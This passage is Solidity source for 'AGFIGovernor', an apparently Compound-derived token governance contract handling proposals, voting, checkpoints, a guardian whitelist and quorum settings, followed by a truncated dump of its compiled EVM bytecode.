newProposal.id; } function _addToWhitelist(address member) public { require(msg.sender == guardian, "AGFIGovernor::_addToWhitelist: Must be guardian in order to add to whitelist."); require(!_whitelistContains(member), "AGFIGovernor::_addToWhitelist: Member already on the whitelist"); _whitelist[member] = true; } function _whitelistContains(address _member) public view returns (bool){ return _whitelist[_member]; } function queue(uint proposalId) public { require(state(proposalId) == ProposalState.Succeeded, "AGFIGovernor::queue: proposal can only be queued if it is succeeded"); Proposal storage proposal = proposals[proposalId]; uint eta = add256(block.timestamp, timelock.delay()); for (uint i = 0; i < proposal.targets.length; i++) { _queueOrRevert(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], eta); } proposal.eta = eta; emit ProposalQueued(proposalId, eta); } function _queueOrRevert(address target, uint value, string memory signature, bytes memory data, uint eta) internal { require(!timelock.queuedTransactions(keccak256(abi.encode(target, value, signature, data, eta))), "AGFIGovernor::_queueOrRevert: proposal action already queued at eta"); timelock.queueTransaction(target, value, signature, data, eta); } function execute(uint proposalId) public payable { require(state(proposalId) == ProposalState.Queued, "AGFIGovernor::execute: proposal can only be executed if it is queued"); Proposal storage proposal = proposals[proposalId]; proposal.executed = true; for (uint i = 0; i < proposal.targets.length; i++) { timelock.executeTransaction{value: proposal.values[i]}(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta); } emit ProposalExecuted(proposalId); } function cancel(uint proposalId) public { ProposalState proposalState = state(proposalId); require(proposalState != ProposalState.Executed, "AGFIGovernor::cancel: cannot cancel executed proposal"); Proposal storage proposal = proposals[proposalId]; require(msg.sender == guardian || _whitelistContains(msg.sender), "AGFIGovernor::cancel: message sender does not have permission"); proposal.canceled = true; for (uint i = 0; i < proposal.targets.length; i++) { timelock.cancelTransaction(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta); } emit ProposalCanceled(proposalId); } function getReceipt(uint proposalId, address voter) public view returns (Receipt memory) { return proposals[proposalId].receipts[voter]; } function state(uint proposalId) public view returns (ProposalState) { require(proposalCount >= proposalId && proposalId > 0, "AGFIGovernor::state: invalid proposal id"); Proposal storage proposal = proposals[proposalId]; if (proposal.canceled) { return ProposalState.Canceled; } else if (block.number <= proposal.startBlock) { return ProposalState.Pending; } else if (block.number <= proposal.endBlock) { return ProposalState.Active; } else if (proposal.forVotes <= proposal.againstVotes || proposal.forVotes < quorumVotes()) { return ProposalState.Defeated; } else if (proposal.eta == 0) { return ProposalState.Succeeded; } else if (proposal.executed) { return ProposalState.Executed; } else if (block.timestamp >= add256(proposal.eta, timelock.GRACE_PERIOD())) { return ProposalState.Expired; } else { return ProposalState.Queued; } } function castVote(uint proposalId, bool support) public { return _castVote(msg.sender, proposalId, support); } function castVoteBySig(uint proposalId, bool support, uint8 v, bytes32 r, bytes32 s) public { bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this))); bytes32 structHash = keccak256(abi.encode(BALLOT_TYPEHASH, proposalId, support)); bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); address signatory = ecrecover(digest, v, r, s); require(signatory != address(0), "AGFIGovernor::castVoteBySig: invalid signature"); return _castVote(signatory, proposalId, support); } function _castVote(address voter, uint proposalId, bool support) internal { require(state(proposalId) == ProposalState.Active, "AGFIGovernor::_castVote: voting is closed"); Proposal storage proposal = proposals[proposalId]; Receipt storage receipt = proposal.receipts[voter]; require(receipt.hasVoted == false, "AGFIGovernor::_castVote: voter already voted"); uint256 votes = getPriorVotes(voter, proposal.startBlock); uint256 currentBalance = agfi.balanceOf(voter); require(votes >= currentBalance, "AGFIGovernor::_castVote: voter has sold after delegation, vote rejected"); if (support) { proposal.forVotes = add256(proposal.forVotes, votes); } else { proposal.againstVotes = add256(proposal.againstVotes, votes); } receipt.hasVoted = true; receipt.support = support; receipt.votes = votes; emit VoteCast(voter, proposalId, support, votes); } function __acceptAdmin() public { require(msg.sender == guardian, "AGFIGovernor::__acceptAdmin: sender must be gov guardian"); timelock.acceptAdmin(); } function __abdicate() public { require(msg.sender == guardian, "AGFIGovernor::__abdicate: sender must be gov guardian"); guardian = address(0); } function __queueSetTimelockPendingAdmin(address newPendingAdmin, uint eta) public { require(msg.sender == guardian, "AGFIGovernor::__queueSetTimelockPendingAdmin: sender must be gov guardian"); timelock.queueTransaction(address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta); } function __executeSetTimelockPendingAdmin(address newPendingAdmin, uint eta) public { require(msg.sender == guardian, "AGFIGovernor::__executeSetTimelockPendingAdmin: sender must be gov guardian"); timelock.executeTransaction(address(timelock), 0, "setPendingAdmin(address)", abi.encode(newPendingAdmin), eta); } function add256(uint256 a, uint256 b) internal pure returns (uint) { uint c = a + b; require(c >= a, "addition overflow"); return c; } function sub256(uint256 a, uint256 b) internal pure returns (uint) { require(b <= a, "subtraction underflow"); return a - b; } function safe32(uint n, string memory errorMessage) internal pure returns (uint32) { require(n < 2**32, errorMessage); return uint32(n); } function getChainId() internal view returns (uint) { uint chainId; assembly { chainId := chainid() } return chainId; } function modifyQuorum(uint newValue) public { require(msg.sender == guardian, "AGFIGovernor::modifyQuorum: sender must be gov guardian"); uint oldValue = quorumValue; quorumValue = newValue; emit QuorumModified(oldValue, newValue); } /** * @notice Gets the current votes balance for `account`. Derived from Compound. * @param account The address to get votes balance * @return The number of current votes for `account` */ function getCurrentVotes(address account) external view returns (uint256) { uint32 nCheckpoints = numCheckpoints[account]; return nCheckpoints > 0 ? checkpoints[account][nCheckpoints - 1].votes : 0; } /** * @notice Determine the prior number of votes for an account as of a block number. Derived from Compound. * @dev Block number must be a finalized block or else this function will revert to prevent misinformation. * @param account The address of the account to check * @param blockNumber The block number to get the vote balance at * @return The number of votes the account had as of the given block */ function getPriorVotes(address account, uint blockNumber) public view returns (uint256) { require(blockNumber < block.number, "AGFIGovernor::getPriorVotes: not yet determined"); uint32 nCheckpoints = numCheckpoints[account]; if (nCheckpoints == 0) { return 0; } // First check most recent balance if (checkpoints[account][nCheckpoints - 1].fromBlock <= blockNumber) { return checkpoints[account][nCheckpoints - 1].votes; } // Next check implicit zero balance if (checkpoints[account][0].fromBlock > blockNumber) { return 0; } uint32 lower = 0; uint32 upper = nCheckpoints - 1; while (upper > lower) { uint32 center = upper - (upper - lower) / 2; // ceil, avoiding overflow Checkpoint memory cp = checkpoints[account][center]; if (cp.fromBlock == blockNumber) { return cp.votes; } else if (cp.fromBlock < blockNumber) { lower = center; } else { upper = center - 1; } } return checkpoints[account][lower].votes; } /** * @notice Derived from Compound. As we don't yet support delegation this just acts on the sender's balance, but * will also act as a placeholder for delegation functionality planned in v2 of this governor contract. */ function delegate() public { uint256 newVotes = agfi.balanceOf(msg.sender); require(newVotes > 0, "AGFIGovernor::delegate: sender must hold AGFI tokens"); uint32 numCpoints = numCheckpoints[msg.sender]; uint256 oldVotes = numCpoints > 0 ? checkpoints[msg.sender][numCpoints - 1].votes : 0; uint32 blockNumber = safe32(block.number, "AGFIGovernor::delegate: block number exceeds 32 bits"); if (numCpoints > 0 && checkpoints[msg.sender][numCpoints - 1].fromBlock == blockNumber) { checkpoints[msg.sender][numCpoints - 1].votes = newVotes; } else { checkpoints[msg.sender][numCpoints] = Checkpoint(blockNumber, newVotes); numCheckpoints[msg.sender] = numCpoints + 1; } emit DelegateVotesChanged(msg.sender, oldVotes, newVotes); } }
0x6080604052600436106102045760003560e01c80639150067111610118578063ddf0b009116100a0578063e38a153e1161006f578063e38a153e1461079d578063eef09bad146107bd578063f1127ed8146107d2578063fa51805414610836578063fe0d94c11461085657600080fd5b8063ddf0b00914610659578063deaaa7cc14610679578063e22e1c7c146106ad578063e23a9a52146106e657600080fd5b8063cd5dfd87116100e7578063cd5dfd87146105a3578063cfdb63ac146105c3578063d33219b414610603578063da35c66414610623578063da95691a1461063957600080fd5b80639150067114610539578063b4b5ea5714610559578063b9a6196114610579578063c89e43611461058e57600080fd5b80633932abb11161019b5780634634c61f1161016a5780634634c61f146104885780636fcfff45146104a8578063760fbc13146104f0578063782d6fe1146105055780637bdbe4d01461052557600080fd5b80633932abb1146103ef5780633e4f49e61461040357806340e58ee514610430578063452a93201461045057600080fd5b806317977c61116101d757806317977c611461035957806320606b701461038657806321f43e42146103ba57806324bc1a64146103da57600080fd5b8063013cf08b1461020957806302a251a3146102d257806306fdde03146102f157806315373e3d14610337575b600080fd5b34801561021557600080fd5b5061027d610224366004612be8565b60086020819052600091825260409091208054600182015460028301546007840154948401546009850154600a860154600b9096015494966001600160a01b039094169592949192909160ff8082169161010090041689565b60408051998a526001600160a01b0390981660208a0152968801959095526060870193909352608086019190915260a085015260c0840152151560e08301521515610100820152610120015b60405180910390f35b3480156102de57600080fd5b506143805b6040519081526020016102c9565b3480156102fd57600080fd5b5061032a6040518060400160405280600d81526020016c20a3a3249023b7bb32b93737b960991b81525081565b6040516102c99190612c59565b34801561034357600080fd5b50610357610352366004612c7a565b610869565b005b34801561036557600080fd5b506102e3610374366004612cc6565b60096020526000908152604090205481565b34801561039257600080fd5b506102e37f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a86681565b3480156103c657600080fd5b506103576103d5366004612ce1565b610878565b3480156103e657600080fd5b506000546102e3565b3480156103fb57600080fd5b5060016102e3565b34801561040f57600080fd5b5061042361041e366004612be8565b6109b3565b6040516102c99190612d21565b34801561043c57600080fd5b5061035761044b366004612be8565b610b62565b34801561045c57600080fd5b50600354610470906001600160a01b031681565b6040516001600160a01b0390911681526020016102c9565b34801561049457600080fd5b506103576104a3366004612d49565b610dfb565b3480156104b457600080fd5b506104db6104c3366004612cc6565b60076020526000908152604090205463ffffffff1681565b60405163ffffffff90911681526020016102c9565b3480156104fc57600080fd5b50610357611007565b34801561051157600080fd5b506102e3610520366004612ce1565b611091565b34801561053157600080fd5b50600a6102e3565b34801561054557600080fd5b50610357610554366004612ce1565b611302565b34801561056557600080fd5b506102e3610574366004612cc6565b61142d565b34801561058557600080fd5b506103576114a2565b34801561059a57600080fd5b5061035761158c565b3480156105af57600080fd5b50600254610470906001600160a01b031681565b3480156105cf57600080fd5b506105f36105de366004612cc6565b60046020526000908152604090205460ff1681565b60405190151581526020016102c9565b34801561060f57600080fd5b50600154610470906001600160a01b031681565b34801561062f57600080fd5b506102e360055481565b34801561064557600080fd5b506102e361065436600461306f565b61183b565b34801561066557600080fd5b50610357610674366004612be8565b611d5e565b34801561068557600080fd5b506102e37f8e25870c07e0b0b3884c78da52790939a455c275406c44ae8b434b692fb916ee81565b3480156106b957600080fd5b506105f36106c8366004612cc6565b6001600160a01b031660009081526004602052604090205460ff1690565b3480156106f257600080fd5b50610777610701366004613141565b60408051606081018252600080825260208201819052918101919091525060009182526008602090815260408084206001600160a01b03939093168452600c9092018152918190208151606081018352815460ff8082161515835261010090910416151593810193909352600101549082015290565b6040805182511515815260208084015115159082015291810151908201526060016102c9565b3480156107a957600080fd5b506103576107b8366004612be8565b612060565b3480156107c957600080fd5b506116806102e3565b3480156107de57600080fd5b5061081a6107ed36600461316d565b60066020908152600092835260408084209091529082529020805460019091015463ffffffff9091169082565b6040805163ffffffff90931683526020830191909152016102c9565b34801561084257600080fd5b50610357610851366004612cc6565b612126565b610357610864366004612be8565b61226f565b6108743383836124ac565b5050565b6003546001600160a01b031633146109115760405162461bcd60e51b815260206004820152604b60248201527f41474649476f7665726e6f723a3a5f5f6578656375746553657454696d656c6f60448201527f636b50656e64696e6741646d696e3a2073656e646572206d757374206265206760648201526a37bb1033bab0b93234b0b760a91b608482015260a4015b60405180910390fd5b600154604080516001600160a01b03858116602083015290921691630825f38f91839160009101604051602081830303815290604052856040518563ffffffff1660e01b815260040161096794939291906131a2565b6000604051808303816000875af1158015610986573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f191682016040526109ae919081019061320e565b505050565b600081600554101580156109c75750600082115b610a245760405162461bcd60e51b815260206004820152602860248201527f41474649476f7665726e6f723a3a73746174653a20696e76616c69642070726f6044820152671c1bdcd85b081a5960c21b6064820152608401610908565b6000828152600860205260409020600b81015460ff1615610a485750600292915050565b80600701544311610a5c5750600092915050565b80600801544311610a705750600192915050565b80600a01548160090154111580610a8c57506000548160090154105b15610a9a5750600392915050565b8060020154600003610aaf5750600492915050565b600b810154610100900460ff1615610aca5750600792915050565b6002810154600154604080516360d143f160e11b81529051610b4493926001600160a01b03169163c1a287e29160048083019260209291908290030181865afa158015610b1b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b3f9190613285565b61276f565b4210610b535750600692915050565b50600592915050565b50919050565b6000610b6d826109b3565b90506007816007811115610b8357610b83612d0b565b03610bee5760405162461bcd60e51b815260206004820152603560248201527f41474649476f7665726e6f723a3a63616e63656c3a2063616e6e6f742063616e60448201527418d95b08195e1958dd5d1959081c1c9bdc1bdcd85b605a1b6064820152608401610908565b60008281526008602052604090206003546001600160a01b0316331480610c2457503360009081526004602052604090205460ff165b610c965760405162461bcd60e51b815260206004820152603d60248201527f41474649476f7665726e6f723a3a63616e63656c3a206d65737361676520736560448201527f6e64657220646f6573206e6f742068617665207065726d697373696f6e0000006064820152608401610908565b600b8101805460ff1916600117905560005b6003820154811015610dc1576001546003830180546001600160a01b039092169163591fcdfe919084908110610ce057610ce061329e565b6000918252602090912001546004850180546001600160a01b039092169185908110610d0e57610d0e61329e565b9060005260206000200154856005018581548110610d2e57610d2e61329e565b90600052602060002001866006018681548110610d4d57610d4d61329e565b9060005260206000200187600201546040518663ffffffff1660e01b8152600401610d7c959493929190613388565b600060405180830381600087803b158015610d9657600080fd5b505af1158015610daa573d6000803e3d6000fd5b505050508080610db9906133ea565b915050610ca8565b506040518381527f789cf55be980739dad1d0699b93b58e806b51c9d96619bfa8fe0a28abaa7b30c906020015b60405180910390a1505050565b604080518082018252600d81526c20a3a3249023b7bb32b93737b960991b60209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527f09bcae073dec92d794be199b39becf3c6be558aeeb08559e35b360a5f22626b281840152466060820152306080808301919091528351808303909101815260a0820184528051908301207f8e25870c07e0b0b3884c78da52790939a455c275406c44ae8b434b692fb916ee60c083015260e08201899052871515610100808401919091528451808403909101815261012083019094528351939092019290922061190160f01b6101408401526101428301829052610162830181905290916000906101820160408051601f198184030181528282528051602091820120600080855291840180845281905260ff8a169284019290925260608301889052608083018790529092509060019060a0016020604051602081039080840390855afa158015610f77573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b038116610ff15760405162461bcd60e51b815260206004820152602e60248201527f41474649476f7665726e6f723a3a63617374566f746542795369673a20696e7660448201526d616c6964207369676e617475726560901b6064820152608401610908565b610ffc818a8a6124ac565b505050505050505050565b6003546001600160a01b0316331461107f5760405162461bcd60e51b815260206004820152603560248201527f41474649476f7665726e6f723a3a5f5f61626469636174653a2073656e6465726044820152741036bab9ba1031329033b7bb1033bab0b93234b0b760591b6064820152608401610908565b600380546001600160a01b0319169055565b60004382106110fa5760405162461bcd60e51b815260206004820152602f60248201527f41474649476f7665726e6f723a3a6765745072696f72566f7465733a206e6f7460448201526e081e595d0819195d195c9b5a5b9959608a1b6064820152608401610908565b6001600160a01b03831660009081526007602052604081205463ffffffff169081900361112b5760009150506112fc565b6001600160a01b03841660009081526006602052604081208491611150600185613403565b63ffffffff908116825260208201929092526040016000205416116111b9576001600160a01b038416600090815260066020526040812090611193600184613403565b63ffffffff1663ffffffff168152602001908152602001600020600101549150506112fc565b6001600160a01b038416600090815260066020908152604080832083805290915290205463ffffffff168310156111f45760009150506112fc565b600080611202600184613403565b90505b8163ffffffff168163ffffffff1611156112ca57600060026112278484613403565b6112319190613428565b61123b9083613403565b6001600160a01b038816600090815260066020908152604080832063ffffffff808616855290835292819020815180830190925280549093168082526001909301549181019190915291925087900361129e576020015194506112fc9350505050565b805163ffffffff168711156112b5578193506112c3565b6112c0600183613403565b92505b5050611205565b506001600160a01b038516600090815260066020908152604080832063ffffffff909416835292905220600101549150505b92915050565b6003546001600160a01b031633146113945760405162461bcd60e51b815260206004820152604960248201527f41474649476f7665726e6f723a3a5f5f717565756553657454696d656c6f636b60448201527f50656e64696e6741646d696e3a2073656e646572206d75737420626520676f766064820152681033bab0b93234b0b760b91b608482015260a401610908565b600154604080516001600160a01b03858116602083015290921691633a66f90191839160009101604051602081830303815290604052856040518563ffffffff1660e01b81526004016113ea94939291906131a2565b6020604051808303816000875af1158015611409573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109ae9190613285565b6001600160a01b03811660009081526007602052604081205463ffffffff168061145857600061149b565b6001600160a01b03831660009081526006602052604081209061147c600184613403565b63ffffffff1663ffffffff168152602001908152602001600020600101545b9392505050565b6003546001600160a01b031633146115225760405162461bcd60e51b815260206004820152603860248201527f41474649476f7665726e6f723a3a5f5f61636365707441646d696e3a2073656e60448201527f646572206d75737420626520676f7620677561726469616e00000000000000006064820152608401610908565b600160009054906101000a90046001600160a01b03166001600160a01b0316630e18b6816040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561157257600080fd5b505af1158015611586573d6000803e3d6000fd5b50505050565b6002546040516370a0823160e01b81523360048201526000916001600160a01b0316906370a0823190602401602060405180830381865afa1580156115d5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115f99190613285565b9050600081116116685760405162461bcd60e51b815260206004820152603460248201527f41474649476f7665726e6f723a3a64656c65676174653a2073656e646572206d60448201527375737420686f6c64204147464920746f6b656e7360601b6064820152608401610908565b3360009081526007602052604081205463ffffffff16908161168b5760006116c5565b336000908152600660205260408120906116a6600185613403565b63ffffffff1663ffffffff168152602001908152602001600020600101545b905060006116eb43604051806060016040528060348152602001613649603491396127c2565b905060008363ffffffff1611801561173c575033600090815260066020526040812063ffffffff831691611720600187613403565b63ffffffff908116825260208201929092526040016000205416145b1561177c57336000908152600660205260408120859161175d600187613403565b63ffffffff1681526020810191909152604001600020600101556117fa565b60408051808201825263ffffffff838116825260208083018881523360009081526006835285812089851682529092529390209151825463ffffffff1916911617815590516001918201556117d2908490613459565b336000908152600760205260409020805463ffffffff191663ffffffff929092169190911790555b604080518381526020810186905233917fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a724910160405180910390a250505050565b3360009081526004602052604081205460ff166118b35760405162461bcd60e51b815260206004820152603060248201527f41474649476f7665726e6f723a3a70726f706f73653a2070726f706f7365722060448201526f1b9bdd081bdb881dda1a5d195b1a5cdd60821b6064820152608401610908565b845186511480156118c5575083518651145b80156118d2575082518651145b6119505760405162461bcd60e51b815260206004820152604360248201527f41474649476f7665726e6f723a3a70726f706f73653a2070726f706f73616c2060448201527f66756e6374696f6e20696e666f726d6174696f6e206172697479206d69736d616064820152620e8c6d60eb1b608482015260a401610908565b85516000036119b55760405162461bcd60e51b815260206004820152602b60248201527f41474649476f7665726e6f723a3a70726f706f73653a206d7573742070726f7660448201526a69646520616374696f6e7360a81b6064820152608401610908565b600a86511115611a175760405162461bcd60e51b815260206004820152602760248201527f41474649476f7665726e6f723a3a70726f706f73653a20746f6f206d616e7920604482015266616374696f6e7360c81b6064820152608401610908565b336000908152600960205260409020548015611b96576000611a38826109b3565b90506001816007811115611a4e57611a4e612d0b565b03611ae75760405162461bcd60e51b815260206004820152605760248201527f41474649476f7665726e6f723a3a70726f706f73653a206f6e65206c6976652060448201527f70726f706f73616c207065722070726f706f7365722c20666f756e6420616e2060648201527f616c7265616479206163746976652070726f706f73616c000000000000000000608482015260a401610908565b6000816007811115611afb57611afb612d0b565b03611b945760405162461bcd60e51b815260206004820152605860248201527f41474649476f7665726e6f723a3a70726f706f73653a206f6e65206c6976652060448201527f70726f706f73616c207065722070726f706f7365722c20666f756e6420616e2060648201527f616c72656164792070656e64696e672070726f706f73616c0000000000000000608482015260a401610908565b505b6000611ba343600161276f565b90506000611bb38261438061276f565b905060006008600060056000815480929190611bce906133ea565b909155508152602080820192909252604001600090812060055481556001810180546001600160a01b0319163317905560028101919091558b51909250611c1d916003840191908d0190612997565b508851611c3390600483019060208c01906129fc565b508751611c4990600583019060208b0190612a37565b508651611c5f90600683019060208a0190612a90565b5082816007018190555081816008018190555060008160090181905550600081600a0181905550600081600b0160006101000a81548160ff021916908315150217905550600081600b0160016101000a81548160ff0219169083151502179055508060000154600960008360010160009054906101000a90046001600160a01b03166001600160a01b03166001600160a01b03168152602001908152602001600020819055507f7d84a6263ae0d98d3329bd7b46bb4e8d6f98cd35a7adb45c274c8b7fd5ebd5e08160000154338c8c8c8c89898e604051611d4899989796959493929190613511565b60405180910390a1549998505050505050505050565b6004611d69826109b3565b6007811115611d7a57611d7a612d0b565b14611df95760405162461bcd60e51b815260206004820152604360248201527f41474649476f7665726e6f723a3a71756575653a2070726f706f73616c20636160448201527f6e206f6e6c79206265207175657565642069662069742069732073756363656560648201526219195960ea1b608482015260a401610908565b60008181526008602090815260408083206001548251630d48571f60e31b81529251919493611e589342936001600160a01b0390931692636a42b8f8926004808401939192918290030181865afa158015610b1b573d6000803e3d6000fd5b905060005b600383015481101561202257612010836003018281548110611e8157611e8161329e565b6000918252602090912001546004850180546001600160a01b039092169184908110611eaf57611eaf61329e565b9060005260206000200154856005018481548110611ecf57611ecf61329e565b906000526020600020018054611ee4906132b4565b80601f0160208091040260200160405190810160405280929190818152602001828054611f10906132b4565b8015611f5d5780601f10611f3257610100808354040283529160200191611f5d565b820191906000526020600020905b815481529060010190602001808311611f4057829003601f168201915b5050505050866006018581548110611f7757611f7761329e565b906000526020600020018054611f8c906132b4565b80601f0160208091040260200160405190810160405280929190818152602001828054611fb8906132b4565b80156120055780601f10611fda57610100808354040283529160200191612005565b820191906000526020600020905b815481529060010190602001808311611fe857829003601f168201915b5050505050866127f2565b8061201a816133ea565b915050611e5d565b506002820181905560408051848152602081018390527f9a2e42fd6722813d69113e7d0079d3d940171428df7373df9c7f7617cfda28929101610dee565b6003546001600160a01b031633146120e05760405162461bcd60e51b815260206004820152603760248201527f41474649476f7665726e6f723a3a6d6f6469667951756f72756d3a2073656e6460448201527f6572206d75737420626520676f7620677561726469616e0000000000000000006064820152608401610908565b600080549082905560408051828152602081018490527f6b9a20fe5d22bb8b5422ff221d24f5c63a2178964bcf307f38480b58fd0fc0ff91015b60405180910390a15050565b6003546001600160a01b031633146121bc5760405162461bcd60e51b815260206004820152604d60248201527f41474649476f7665726e6f723a3a5f616464546f57686974656c6973743a204d60448201527f75737420626520677561726469616e20696e206f7264657220746f206164642060648201526c3a37903bb434ba32b634b9ba1760991b608482015260a401610908565b6001600160a01b03811660009081526004602052604090205460ff161561224b5760405162461bcd60e51b815260206004820152603e60248201527f41474649476f7665726e6f723a3a5f616464546f57686974656c6973743a204d60448201527f656d62657220616c7265616479206f6e207468652077686974656c69737400006064820152608401610908565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600561227a826109b3565b600781111561228b5761228b612d0b565b1461230c5760405162461bcd60e51b8152602060048201526044602482018190527f41474649476f7665726e6f723a3a657865637574653a2070726f706f73616c20908201527f63616e206f6e6c79206265206578656375746564206966206974206973207175606482015263195d595960e21b608482015260a401610908565b6000818152600860205260408120600b8101805461ff001916610100179055905b600382015481101561247b576001546004830180546001600160a01b0390921691630825f38f9190849081106123655761236561329e565b90600052602060002001548460030184815481106123855761238561329e565b6000918252602090912001546004860180546001600160a01b0390921691869081106123b3576123b361329e565b90600052602060002001548660050186815481106123d3576123d361329e565b906000526020600020018760060187815481106123f2576123f261329e565b9060005260206000200188600201546040518763ffffffff1660e01b8152600401612421959493929190613388565b60006040518083038185885af115801561243f573d6000803e3d6000fd5b50505050506040513d6000823e601f3d908101601f19168201604052612468919081019061320e565b5080612473816133ea565b91505061232d565b506040518281527f712ae1383f79ac853f8d882153778e0260ef8f03b504e2866e0593e04d2b291f9060200161211a565b60016124b7836109b3565b60078111156124c8576124c8612d0b565b146125275760405162461bcd60e51b815260206004820152602960248201527f41474649476f7665726e6f723a3a5f63617374566f74653a20766f74696e67206044820152681a5cc818db1bdcd95960ba1b6064820152608401610908565b60008281526008602090815260408083206001600160a01b0387168452600c8101909252909120805460ff16156125b55760405162461bcd60e51b815260206004820152602c60248201527f41474649476f7665726e6f723a3a5f63617374566f74653a20766f746572206160448201526b1b1c9958591e481d9bdd195960a21b6064820152608401610908565b60006125c5868460070154611091565b6002546040516370a0823160e01b81526001600160a01b038981166004830152929350600092909116906370a0823190602401602060405180830381865afa158015612615573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126399190613285565b9050808210156126c15760405162461bcd60e51b815260206004820152604760248201527f41474649476f7665726e6f723a3a5f63617374566f74653a20766f746572206860448201527f617320736f6c642061667465722064656c65676174696f6e2c20766f74652072606482015266195a9958dd195960ca1b608482015260a401610908565b84156126df576126d584600901548361276f565b60098501556126f3565b6126ed84600a01548361276f565b600a8501555b8254851515610100810261ffff1990921691909117600190811785558401839055604080516001600160a01b038a1681526020810189905290810191909152606081018390527f877856338e13f63d0c36822ff0ef736b80934cd90574a3a5bc9262c39d217c469060800160405180910390a150505050505050565b60008061277c83856135da565b90508381101561149b5760405162461bcd60e51b81526020600482015260116024820152706164646974696f6e206f766572666c6f7760781b6044820152606401610908565b60008164010000000084106127ea5760405162461bcd60e51b81526004016109089190612c59565b509192915050565b6001546040516001600160a01b039091169063f2b065379061282090889088908890889088906020016135f2565b604051602081830303815290604052805190602001206040518263ffffffff1660e01b815260040161285491815260200190565b602060405180830381865afa158015612871573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612895919061362b565b156129145760405162461bcd60e51b815260206004820152604360248201527f41474649476f7665726e6f723a3a5f71756575654f725265766572743a20707260448201527f6f706f73616c20616374696f6e20616c7265616479207175657565642061742060648201526265746160e81b608482015260a401610908565b600154604051633a66f90160e01b81526001600160a01b0390911690633a66f9019061294c90889088908890889088906004016135f2565b6020604051808303816000875af115801561296b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061298f9190613285565b505050505050565b8280548282559060005260206000209081019282156129ec579160200282015b828111156129ec57825182546001600160a01b0319166001600160a01b039091161782556020909201916001909101906129b7565b506129f8929150612ae9565b5090565b8280548282559060005260206000209081019282156129ec579160200282015b828111156129ec578251825591602001919060010190612a1c565b828054828255906000526020600020908101928215612a84579160200282015b82811115612a845782518051612a74918491602090910190612afe565b5091602001919060010190612a57565b506129f8929150612b71565b828054828255906000526020600020908101928215612add579160200282015b82811115612add5782518051612acd918491602090910190612afe565b5091602001919060010190612ab0565b506129f8929150612b8e565b5b808211156129f85760008155600101612aea565b828054612b0a906132b4565b90600052602060002090601f016020900481019282612b2c57600085556129ec565b82601f10612b4557805160ff19168380011785556129ec565b828001600101855582156129ec57918201828111156129ec578251825591602001919060010190612a1c565b808211156129f8576000612b858282612bab565b50600101612b71565b808211156129f8576000612ba28282612bab565b50600101612b8e565b508054612bb7906132b4565b6000825580601f10612bc7575050565b601f016020900490600052602060002090810190612be59190612ae9565b50565b600060208284031215612bfa57600080fd5b5035919050565b60005b83811015612c1c578181015183820152602001612c04565b838111156115865750506000910152565b60008151808452612c45816020860160208601612c01565b601f01601f19169290920160200192915050565b60208152600061149b6020830184612c2d565b8015158114612be557600080fd5b60008060408385031215612c8d57600080fd5b823591506020830135612c9f81612c6c565b809150509250929050565b80356001600160a01b0381168114612cc157600080fd5b919050565b600060208284031215612cd857600080fd5b61149b82612caa565b60008060408385031215612cf457600080fd5b612cfd83612caa565b946020939093013593505050565b634e487b7160e01b600052602160045260246000fd5b6020810160088310612d4357634e487b7160e01b600052602160045260246000fd5b91905290565b600080600080600060a08688031215612d6157600080fd5b853594506020860135612d7381612c6c565b9350604086013560ff81168114612d8957600080fd5b94979396509394606081013594506080013592915050565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff81118282101715612de057612de0612da1565b604052919050565b600067ffffffffffffffff821115612e0257612e02612da1565b5060051b60200190565b600082601f830112612e1d57600080fd5b81356020612e32612e2d83612de8565b612db7565b82815260059290921b84018101918181019086841115612e5157600080fd5b8286015b84811015612e7357612e6681612caa565b8352918301918301612e55565b509695505050505050565b600082601f830112612e8f57600080fd5b81356020612e9f612e2d83612de8565b82815260059290921b84018101918181019086841115612ebe57600080fd5b8286015b84811015612e735780358352918301918301612ec2565b600067ffffffffffffffff821115612ef357612ef3612da1565b50601f01601f191660200190565b6000612f0f612e2d84612ed9565b9050828152838383011115612f2357600080fd5b828260208301376000602084830101529392505050565b600082601f830112612f4b57600080fd5b61149b83833560208501612f01565b600082601f830112612f6b57600080fd5b81356020612f7b612e2d83612de8565b82815260059290921b84018101918181019086841115612f9a57600080fd5b8286015b84811015612e7357803567ffffffffffffffff811115612fbe5760008081fd5b612fcc8986838b0101612f3a565b845250918301918301612f9e565b600082601f830112612feb57600080fd5b81356020612ffb612e2d83612de8565b82815260059290921b8401810191818101908684111561301a57600080fd5b8286015b84811015612e7357803567ffffffffffffffff81111561303e5760008081fd5b8701603f810189136130505760008081fd5b613061898683013560408401612f01565b84525091830191830161301e565b600080600080600060a0868803121561308757600080fd5b853567ffffffffffffffff8082111561309f57600080fd5b6130ab89838a01612e0c565b965060208801359150808211156130c157600080fd5b6130cd89838a01612e7e565b955060408801359150808211156130e357600080fd5b6130ef89838a01612f5a565b9450606088013591508082111561310557600080fd5b61311189838a01612fda565b9350608088013591508082111561312757600080fd5b5061313488828901612f3a565b9150509295509295909350565b6000806040838503121561315457600080fd5b8235915061316460208401612caa565b90509250929050565b6000806040838503121561318057600080fd5b61318983612caa565b9150602083013563ffffffff81168114612c9f57600080fd5b60018060a01b038516815283602082015260a06040820152601860a08201527f73657450656e64696e6741646d